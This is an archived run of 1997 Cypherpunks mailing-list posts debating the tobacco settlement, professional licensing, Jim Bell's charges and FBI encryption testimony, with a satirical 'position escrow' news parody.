>           credit-card numbers and addresses were easily available.
>
>           The second message, sent by E-mail and regular mail by the
>           World Wide Web sites' host, Starwave Corp., alerted 2,397
>           online shoppers that their credit-card information might have
>           been misappropriated.

Were these two sites running C2Net's "Stronghold"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:05:05 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102801afeb676790ab@[207.167.93.63]>
Message-ID: <5HFo0D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> A third possibility, and one which deserves a longer essay by someone, is
> the role quasi-private organizations play. To cut to the chase,
> organizations like the American Bar Association, American Medical
> Association, etc.

I think one of the possible scenarios is that all tobacco companies,
present and future, will have to become members of a "private"
self-regulatory organization - sort of like NASD.

> These "guilds" are an interesting case of self-policing where there is no
> option for opting out. (I don't believe it is possible to practice law or
> medicine without approval/licensing from these kinds of
> organizations/guilds.)

It is a CRIME is most jurisdictions.

> Licensing in general is something I think is getting out of hand.

Actually, licensing is a neat idea that leads to more efficient markets.
E.g., New York State licenses plumbers, contractors, barbers, etc; if
you enter into a contract with an unlicensed party for one of these
services, it won't be enforced by the state court. E.g. you can't
sue the unlicensed bricklayer for laying your bricks crooked, and he
can't sue you for not paying. :-) Here the state just says, if you
want our jurisdiction, you play by our rules and you pay a fee.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 21:06:23 +0800
To: cypherpunks@toad.com
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102802afeb8158a8d9@[207.167.93.63]>
Message-ID: <cyFo0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Individual responsibility, free choice, a drastically reduced set of laws,
> and end to all subsidies of any and all products, reduced tariffs, and an
> end to social engineering through tax and tariff policies and
> incentives/disincentives to businesses.

Freedom to act stupid.

Freedom of religion is the freedom to give one's money to crooks, many
of whom don't believe the nonsense they preach.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 12 Jul 1997 00:38:39 +0800
To: cypherpunks@Algebra.COM
Subject: Jim Bell (FINALLY!) Charged
Message-ID: <Pine.GSO.3.96.970711091911.1678A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Oregonian Friday July 11, 1997 Page B3

Man whose home was raided by IRS agents is charged

A man whose Vancouver home was raided by IRS agents in April has been
charged with two felonies in Tacoma.

James D. Bell was charged Wednesday with interfearing with a federal
officer and using false Social Security numbers.  He has been held without
bail in the Pierce County Jail since his May 18 arrest.

Bell, 38, is scheduled to be arrained July 18 before U.S. Magistrate J.
Kelly Arnold.

However, sources close to the case said Thursday that plea negotiations
are under way and are likely to be concluded before then.

Bell's home was raided and searched April 1 by an IRS task force of 20
agents.

In an affidavit for the search warrant, IRS Special Investigator Jeff
Gordon said that Bell was "directly soliciting others to set up a system
to murder government officials" and that he had devised a plan to
overthrow the government.

At a detention hearing in Tacoma, Arnold ordered Bell held without bail on
both allegations.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 12 Jul 1997 00:41:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <cyFo0D6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970711094129.3237B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 11 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim May <tcmay@got.net> writes:
> > Individual responsibility, free choice, a drastically reduced set of laws,
> > and end to all subsidies of any and all products, reduced tariffs, and an
> > end to social engineering through tax and tariff policies and
> > incentives/disincentives to businesses.
> 
> Freedom to act stupid.
> 
> Freedom of religion is the freedom to give one's money to crooks, many
> of whom don't believe the nonsense they preach.
> 

Yes, Dimitri.  Freedom is also the freedom to act "stupid".  Since
"acting stupid" is a subjective evaluation it implies that one is
allowed to make subjective, individual decisions.   This is as
opposed to having a central authority decide what is and isn't 
stupid -- telling us how to lead more efficient, carefully planned
lives.

Freedom is not necessarily efficient, but it beats the hell out of
whatever comes next.

"Sometimes it is said that man cannot be trusted with the government of
himself. Can he, then, be trusted with the government of others? Or have
we found angels in the form of kings to govern him? Let history answer
this question." --Thomas Jefferson: 1st Inaugural, 1801. 

'Nuf said...

Jim Burnes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Jul 1997 00:00:08 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <3.0.2.32.19970711102559.00699960@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>$360 billion from some number of tobacco companies in exchange for dropping
>of liability suits, immunity from future claims, voluntary restrictions (!)
>on advertising, etc. (And the "etc." is especially complicated in this huge
>case.)

Note that the tobacco agreement was announced the same day as the NYT Net 
Threat story about how a drug culture is thriving unopposed on the Net.  The 
coincidence of these two events suggests what will happen to the Tobacco 
Settlement whether or not it is formally approved.

Just as third party political advertising defeated campaign regulations, I 
expect third party "advertizing" for controversial substances to defeat 
"voluntary" ad bans.

There are already plenty of cigarette sites on the Net and even though "Big 
Tobacco" may try and use copyright law to restrict pro cigarette third party 
"advertizing", those attempts will not succeed very well.  Boutique tobacco 
brands drop shipped from Mexico can play a part as well.  "Death's Head" 
cigarettes are supposed to be selling pretty well in the UK.  Cigarettes and 
cigars are all throughout pop culture these days (Julia Roberts looked good 
chain smoking in "My Best Friend's Wedding") and the authorities don't have 
much of an argument that will be successful against "cool" cigarettes.  The 
more they warn about cigarettes killing you, the cooler they'll seem.  Poor 
Gen X, Y, and Zers lack much of substance to revolt against these days so the 
Health Nazis are supplying a valuable authority figure to serve as the object 
of such a revolt.  

Heroic Mohawk (and other) cigarette smugglers smashed the high Canadian 
tobacco taxes a few years ago.  In a market in which everything is a boutique 
good and anyone with a little cash can put together a whole purchasing, 
production, and distribution chain overnight without actually hiring anyone, 
ordinary entrepreneurs will be able to supply the demand for cigarettes even 
while the Health Nazis think they've accomplished something by gelding "Big 
Tobacco."  They haven't noticed that size doesn't matter much in efficient 
markets. 

DCF

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okEkq4AWjoU=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Fri, 11 Jul 1997 22:45:36 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707111431.KAA21954@mail3.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 PM 7/10/97 -0700, Tim May wrote:
>A thoughtful response from Peter Swire.

        Thanks kindly.

>A third possibility, and one which deserves a longer essay by someone, is
>the role quasi-private organizations play. To cut to the chase,
>organizations like the American Bar Association, American Medical
>Association, etc.
>
>These "guilds" are an interesting case of self-policing where there is no
>option for opting out. (I don't believe it is possible to practice law or
>medicine without approval/licensing from these kinds of
>organizations/guilds.)

        You might check out my article on "Markets, Self-Regulation, and
Government Enforcement in the Protection of Personal Information."  Among
other topics, I talk about self-regulation by licensing organizations.  The
piece is posted at my web site.  It is also the lead chapter in a recent
report by the National Telecommunications and Information Administration on
"Self-Regulation and Privacy in the Information Age", on their web site at
http://www.ntia.doc.gov.

        Peter



Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 02:36:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102803afec28f008d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:48 AM -0700 7/11/97, Kent Crispin wrote:
...
>Hmmm.  I thought the basis was completely different.  I thought the
>deal was between legal officials of various states who were mounting
>suits against the tobacco companies, and the tobacco companies.  That
>is, it is essentially an "out of court" settlement of a civil lawsuit.
>
>As such, it would indeed not be binding on Tim May's Tobacco Co.  And
>there are no particular constitutional issues involved, or free speech
>issues, either, come to think of it -- the settlement is just between
>the parties of a civil suit.

The agreement halts future lawsuits, thus depriving those who have not yet
sued, or even those who have not yet contemplated suing, from seeking
redress in the courts.

This would seem to be a rather major constitutional issue.

It's also unclear whether the "agreement" covers tobacco companies not even
extant at this time (hence my use of the "Tim's Tobacco Company" example,
where TTC is incorporated in 1998 and begins advertising with Joe
Camel-type ads. Several states attorneys general have opinined that the
deal means a complete end to such advertising, to sponsorship of sporting
events by tobacco companies, etc.

BTW, we're not the only ones who think this agreement, and the enabling
legislation which is supposed to come from Congress, raise very serious
constitutional questions.

The problem may lie in class action suits in general. I'm no constitutional
scholar, but I rather doubt the Framers had in mind the concept that J.
Random Luser could sue in courts "on behalf" of thousands or millions of
others who have not even joined the suit or may not even be aware of the
suit, or may not support the suit. And the notion that the states, or
insurance companies, or whatever, could sue to collect their costs when no
contract was involved...well, this is just plain absurd. If I eat too many
hamburgers and develop coronary disease, and some insurance company loses
money on me....they cannot sue MacDonalds or Burger King for making their
costs higher, any more than an exercise gym or health food store can sue
the insurance company and demand a part of the "savings" from the
presumably healthier clients!

There are indeed deep constitutional issues involved in both of the cases
being discussed in this thread.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 11 Jul 1997 23:57:56 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Airlines to start profiling, bag matching
In-Reply-To: <v0310280aafeb55463c3b@[207.67.207.179]>
Message-ID: <3.0.2.32.19970711114124.00699960@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 7/10/97 -0700, Alan Olsen wrote:

>"Is this Nazi land so good?  Would you leave it if you could?" - from the
>missing part of the Clinton inaguration speech

Or how about the Clash's "I'm Sick and Tired of the USA"

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 13 Jul 1997 18:54:37 +0800
To: Edgar W Swank <edgarswank@juno.com>
Subject: Re: FWD: SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
In-Reply-To: <19970709.171758.10958.3.edgarswank@juno.com>
Message-ID: <Pine.LNX.3.91.970711114910.1042C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
> Two scientists at the IBM Almaden Research Center in San Jose,
> Calif.  have developed a new approach to public key cryptography
> based on mathematical constructs called lattices.  The system
> would be based on a particular set of hidden hyperplanes that
> constitute the private key and a method of generating points near
> one of those hyperplanes for the public key.  

This is old(ish) news. This was the Cynthia Dwork paper, but 
unfortunately the keysizes for the predictably secure version of the 
cryptosystem are unmanageably large, in the smaller key system there is a 
probablility of a bit decrypting wrongly (either a 0 as a 1 or the other 
way round, I can`t remember)...

I would recommend getting a copy of the paper to anyone interested, it is 
really interesting stuff even if it is only theory.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 12 Jul 1997 03:11:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell (FINALLY!) Charged
In-Reply-To: <Pine.GSO.3.96.970711091911.1678A-100000@linda.teleport.com>
Message-ID: <19970711185958.11905.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> James D. Bell was charged Wednesday with interfearing with a federal
> officer and using false Social Security numbers. 

Both of which are bailable offenses, and completely unrelated to 99%
of the inflammatory horseshit spewed forth by the government over this
case.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Jul 1997 03:17:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711120620.08802@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:
> At 12:48 AM -0700 7/11/97, Kent Crispin wrote:
> ...
> >Hmmm.  I thought the basis was completely different.  I thought the
> >deal was between legal officials of various states who were mounting
> >suits against the tobacco companies, and the tobacco companies.  That
> >is, it is essentially an "out of court" settlement of a civil lawsuit.
> >
> >As such, it would indeed not be binding on Tim May's Tobacco Co.  And
> >there are no particular constitutional issues involved, or free speech
> >issues, either, come to think of it -- the settlement is just between
> >the parties of a civil suit.
> 
> The agreement halts future lawsuits, thus depriving those who have not yet
> sued, or even those who have not yet contemplated suing, from seeking
> redress in the courts.

I don't think it is correct that the deal halts future lawsuits from 
other parties, only from the signers of the deal.

> This would seem to be a rather major constitutional issue.

Not really.  It would just be unconstitutional, and almost certainly
thrown out.  I don't think the lawyers involved are that stupid.  By
getting the major tobacco companies to an essentially private
agreement they have achieved their goals -- it would be silly to
depend on a fickle, money-hungry congress to pass some laws to enforce
it. 

> It's also unclear whether the "agreement" covers tobacco companies not even
> extant at this time (hence my use of the "Tim's Tobacco Company" example,
> where TTC is incorporated in 1998 and begins advertising with Joe
> Camel-type ads. Several states attorneys general have opinined that the
> deal means a complete end to such advertising, to sponsorship of sporting
> events by tobacco companies, etc.

As a practical matter, yes.  As a matter of law, no.  TTC isn't going
to be sponsoring tennis tournaments any time soon, I trust?  It's 
*big* tobacco that is under attack here -- the small fry don't matter.

> BTW, we're not the only ones who think this agreement, and the enabling
> legislation which is supposed to come from Congress, raise very serious
> constitutional questions.

Could you find a reference to this putative enabling legislation? I
think it is a figment of somebody's imagination.  My impression was
that the "stick" wasn't new legislation, but rather the imminent
regulation of nicotine as a drug.  There *may* be such legislation in
the works, but it seems completely unnecessary for the anti-tobacco
forces to accomplish their aims, and, in fact, a stupid thing to 
depend on.

> The problem may lie in class action suits in general. 

Completely different issue, I believe, one I would not care to argue 
either way.

[...]
> 
> There are indeed deep constitutional issues involved in both of the cases
> being discussed in this thread.

There may be some constitutional issues in the ratings issue, but all 
I have seen on this thread so far is speculation about issues that 
*might* be present.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Jul 1997 00:41:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: <v03007804afeb160fdc2b@[198.115.179.81]>
Message-ID: <3.0.2.32.19970711122229.006c8c44@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Statement of Louis J. Freeh, Director, FBI, before the Senate Judiciary
>Committee Hearing on Encryption, United States Senate, Washington, D. C. -
>July 9, 1997

>Would we allow a car to be driven with features which would evade and
>outrun police cars? 

But we do.  Two hundred MPH cars remain street legal most places.  With a 
good driver, these cars can even move fast enough to outrun radio 
communications (or rather the response time involved in radio 
communications).  The search circle that contains them becomes too big too 
fast.

>Would we build houses or
>buildings which firefighters could not enter to save people?

These remain legal as well.  Heinlein's reinforced concrete house on Bonny 
Doone road in the Santa Cruz mountains.  It is perfectly legal to build a 
reinforced concrete structure that could defeat entry for many days.

More generally, it is legal not to speak and thus to deprive police and 
prosecutors of the contents of your mind.  Crypto just extends this right.

>Most importantly, we are not advocating that the privacy rights or personal
>security of any person or enterprise be compromised
>or threatened. You can't yell "fire" in a crowded theater. 

I don't think this has ever been tested in court.  I'll bet their are many 
circumstances in which it is perfectly legal to shout fire in a(n unburning) 
crowded theater.

>You can't with
>impunity commit libel or slander. 

Unless you're judgement proof.  These are usually civil not criminal matters 
in the Land of the Free and the Home of the Brave.

>In support of our position for a rational encryption policy which balances
>public safety with the right to secure communications,
>we rely on the Fourth Amendment to the Constitution. There the framers
>established a delicate balance between "the right of the
>people to be secure in their persons, houses, papers, and effects (today we
>might add personal computers, modems, data
>streams, discs, etc.) against unreasonable searches and seizures." Those
>precious rights, however, were balanced against the
>legitimate right and necessity of the police, acting through strict legal
>process, to gain access by lawful search and seizure to the
>conversations and stored evidence of criminals, spies and terrorists.

Course you long ago dropped the bit about "reasonable cause to believe a 
*crime *has been* committed."  Loads of preventive wiretaps and regulatory 
searches in the absence of even the accusation of a crime.  Violating Regs is 
usually not a crime.

>The precepts and balance of the Fourth Amendment have not changed or
>altered. What has changed from the late eighteenth to
>the late twentieth century is technology and telecommunications well beyond
>the contemplation of the framers.

Course the Framers didn't have wiretaps either since they had no wires.  
We're just trying to restore the balance to the way it was in those days.  No 
wiretaps.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 03:36:01 +0800
To: cypherpunks@Algebra.COM
Subject: NEWS: Freedom of Movement Could Cripple Cops, FBI Warns
Message-ID: <v03102802afec39a13ef7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




No comment needed.

>Date: Fri, 11 Jul 1997 12:13:18 -0700
>
>Freedom of Movement Could Cripple Cops, FBI Warns
>
> By Klaus Prime
>
>WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
>his sternest warning yet that freedom of movement by citizen units could
>wreak havoc on crime-fighting efforts.
>
>But travel industry participants warned that U.S. restrictions on freedom
>of movement, which would require citizen units to notify law enforcment of
>their travel plans and check in at police stations would merely boost
>travel to foreign countries which don't have such restrictions.
>
>Freeh urged Congress to promote the use of a type of "position escrow"
>that allows law enforcement agents to track the locations of terrorists,
>child pornographers, money launderers, and other thought criminals by
>using the position escrow data base. "Access to the position escrow data
>base would only be by legitimate law enforcement personnel," Freeh said.
>
>"Law enforcement is in unanimous agreement that the widespread freedom of
>criminals to move about freehly will devastate our ability to fight crime
>and prevent terrorism," the FBI director testified before the Senate
>Judiciary Committee.
>
>Freeh has spoken out numerous times against the unrestricted ability of
>citizen units to move about freehly, but his remarks Wednesday focused
>mainly on the threat to law enforcement efforts within the United States.
>
>Current laws place few restrictions on where citizen units may travel and
>live, except for parolees and sex offenders, and some scholars believe
>restrictions on U.S. citizens might be unconstitutional.
>
>Wednesday, 9 July 1997 17:45:40
>RTRS [nN09285032]
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 03:53:41 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102803afec3aa77cb6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:06 PM -0700 7/11/97, Kent Crispin wrote:
>On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:

>> The agreement halts future lawsuits, thus depriving those who have not yet
>> sued, or even those who have not yet contemplated suing, from seeking
>> redress in the courts.
>
>I don't think it is correct that the deal halts future lawsuits from
>other parties, only from the signers of the deal.

Well, what more is there to say? You obviously have not bothered to follow
this issue, or you would surely know that a key provision of the deal, and
probably one of the main things that made it somewhat attractive to the
tobacco companies is that it put an end to future lawsuits.

(How could it be otherwise, as a deal? If the tobacco companies paid out
$360 billion to the current crop of folks suing them (some fraction to the
suers, some fraction for education and health programs, etc.), and then in
5 years or so _another crop_ of folks demanded "their" hundreds of
billions, and so on forever....)

Here is just one of the recent news stories on this point:

"Tuesday July 8 11:59 AM EDT

"Lawyer sues over tobacco deal

"CHICAGO, July 8 (UPI) _ Attorney Kenneth Moll says the agreement between
more than three dozen states and the tobacco industry will
compromise the rights of individuals and he has filed suit challenging that
part of the agreement that protects cigarette-makers from future
suits. "

Now is it clearer to you what we've been discussing? Jeesh.

(I could spend more time with HotBot or Alta Vista digging up more news
stories, inclduding the actual text of the agreement, such as it has been
publicized, but I don't plan to spend my time recapping the obvious. Check
out the news stories in the June 20-22 period for more details than you can
read in a day of reading.)





>> BTW, we're not the only ones who think this agreement, and the enabling
>> legislation which is supposed to come from Congress, raise very serious
>> constitutional questions.
>
>Could you find a reference to this putative enabling legislation? I
>think it is a figment of somebody's imagination.  My impression was
>that the "stick" wasn't new legislation, but rather the imminent
>regulation of nicotine as a drug.  There *may* be such legislation in
>the works, but it seems completely unnecessary for the anti-tobacco
>forces to accomplish their aims, and, in fact, a stupid thing to
>depend on.

I just plain give up on you, Kent. You obviously have not been reading or
following the news. The "deal" requires Congressional action...there have
been scads of stories on this precise point, and Clinton is already making
noises about not signing the legislation unless details are changed. Again,
spend a few minutes in a search engine. (Try typing "tobacco" into Yahoo's
news search engine, for example.)

No point in even debating someone who is ignorant of the basics in the debate.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Sat, 12 Jul 1997 01:45:53 +0800
To: cypherpunks@cyberpass.net
Subject: Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707111736.NAA18795@mail3.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 08:12 PM 7/10/97 -0700, Marshall Clow wrote:

>> <snip from previous posts>
>>        The big legal fight on ratings is whether any "state action" takes
>>place.  The First Amendment governs efforts by a federal or state government
>>to restrict speech.  If private companies "voluntarily" agree to do
>>something, the First Amendment simply does not apply.  But if the coercive
>>power of the state forces them to do the same thing, then the courts can get
>>involved under the First Amendment.
>>        Here, if the government is too explicit that it will ban certain
>>speech unless the networks ban it, then a court might find that the
>>government in fact is involved in an impermissible way.
>>
>What is the (legal) downside to a network (or producer)
>saying "No, I won't rate my shows."?
>Personally, I'd love to see Disney do this.

        Today's papers are filled with the new "voluntary" rating system
that most of the networks agreed to.  One of the threats, for whoever didn't
join, would be a *ban* on violent programming before 10 p.m.  Networks that
did join would do the rating, and so would not be subject to the ban.

        So, the analysis really takes two steps:
        (1) If "voluntary" and "private", the courts don't get involved
under the first amendment, because no state action.  Yesterday, Camel
announced that it "voluntarily" had decided to stop using Joe Camel.
        (2) If "involuntary" and "state action", then it's like the CDA
case.  The Court looks at the size of the burden on protected speech, and
then looks to see if their is a less restrictive alternative.  For instance,
the "no violence before 10 p.m." rule would be scrutinized like the
"indecency" provision in the CDA. Then you go to Vegas and bet on what the
courts will say. :)

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Sat, 12 Jul 1997 03:12:22 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102801afeb676790ab@[207.167.93.63]>
Message-ID: <3.0.1.32.19970711140214.009738d0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 08:06 AM 7/11/97 EDT, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:
>Tim May <tcmay@got.net> writes:
>> These "guilds" are an interesting case of self-policing where there is no
>> option for opting out. (I don't believe it is possible to practice law or
>> medicine without approval/licensing from these kinds of
>> organizations/guilds.)
>
>It is a CRIME is most jurisdictions.
>
>> Licensing in general is something I think is getting out of hand.
>
>Actually, licensing is a neat idea that leads to more efficient markets.
>E.g., New York State licenses plumbers, contractors, barbers, etc; if
>you enter into a contract with an unlicensed party for one of these
>services, it won't be enforced by the state court. E.g. you can't
>sue the unlicensed bricklayer for laying your bricks crooked, and he
>can't sue you for not paying. :-) Here the state just says, if you
>want our jurisdiction, you play by our rules and you pay a fee.

How does this make for a more "efficient" market?  All I see is increased
costs of doing business (paying for the licensing), and increased costs to
the consumer (hiring a licensed contractor).  The benefit?  You're allowed
to invite the government into disputes.

Don't get me wrong, I understand the theory behind licensing.  It implies
that the licenseholder is proficient at his or her task (or at least was
when the license was granted.)  This can be important to public safety, in
that a shoddy electrician could cause a fire that could burn an entire
block, or that a hygenically-challenged barber could transmit nasty virii
via unsterilized scissors.  

Public Safety is therefore served.  But where does the efficiency come from?

--

The self-policing guilds Tim mentions above exist because even the law
recognizes that it is unable to adequately define the boundaries within
which a physician must operate.  (You'd think lawyers would be able to get
it down legally on paper, but then there'd be no more need for congress
(spit) and they'd be out of jobs...)  They take on the function of an
electrician's license, since there's no "National Physicians Code" to
measure them by.

Let's apply it to us.  Take the case of a programmer who writes the code
for an electronic defibrillator.  Obviously, the code needs to be
"perfect", or else the machine might deliver a lethal shock.  Who should
write it?  A "licensed" programmer?  A member of the ACM?  A graduate of
MIT?  J Random StreetPerson?  

Let's say it fails in operation, killing a patient.  It's shown that faulty
code is responsible.  Do we yank the programmer's license, or his
membership in the ACM?  Contact MIT and revoke his diploma?  Sue MIT for
granting him one in the first place?  Put him back on the streets?  

What if it's the fault of the VisualSnozz++ compiler?  Can we go back and
pull Microsoft's coder's ACM membership?  Take away his license to code?
Pull the original coder's license for failing to use a compiler written by
an ACM certified professional?  Put Bill Gates in jail for selling it?

Would membership in the ACM be "proof" to an employer that this person
would produce "bug-free" software?  Would they bond and insure their code,
etc.?

The big questions, then, are:
Does regulation fit our industry?  If so, where?
Will I be kicked out of the ACM for writing non-GAKked encryption software?
 ...for posting to cypherpunks in support of non-GAKked software?
...for having an incorrect political viewpoint?  A conviction for
thoughtcrime?

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in ActiveX sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Jul 1997 05:28:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <19970711141401.20013@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 11, 1997 at 12:45:15PM -0700, Tim May wrote:
[...]
> 
> Well, what more is there to say? You obviously have not bothered to follow
> this issue, or you would surely know that a key provision of the deal, and
> probably one of the main things that made it somewhat attractive to the
> tobacco companies is that it put an end to future lawsuits.

No, it does not.  It puts an end to certain *kinds* of lawsuits, most
notably, class action suits, and it limits punitive damages.  But it
is not a blanket end lawsuits, as you seem to believe. 

> (How could it be otherwise, as a deal? 

I don't know, Tim.  It's just that it *is* otherwise, as a deal.

[...]

> Now is it clearer to you what we've been discussing? Jeesh.

Somewhat.  Presumably it is for you, as well.

[...]

> I just plain give up on you, Kent. You obviously have not been reading or
> following the news. The "deal" requires Congressional action...there have
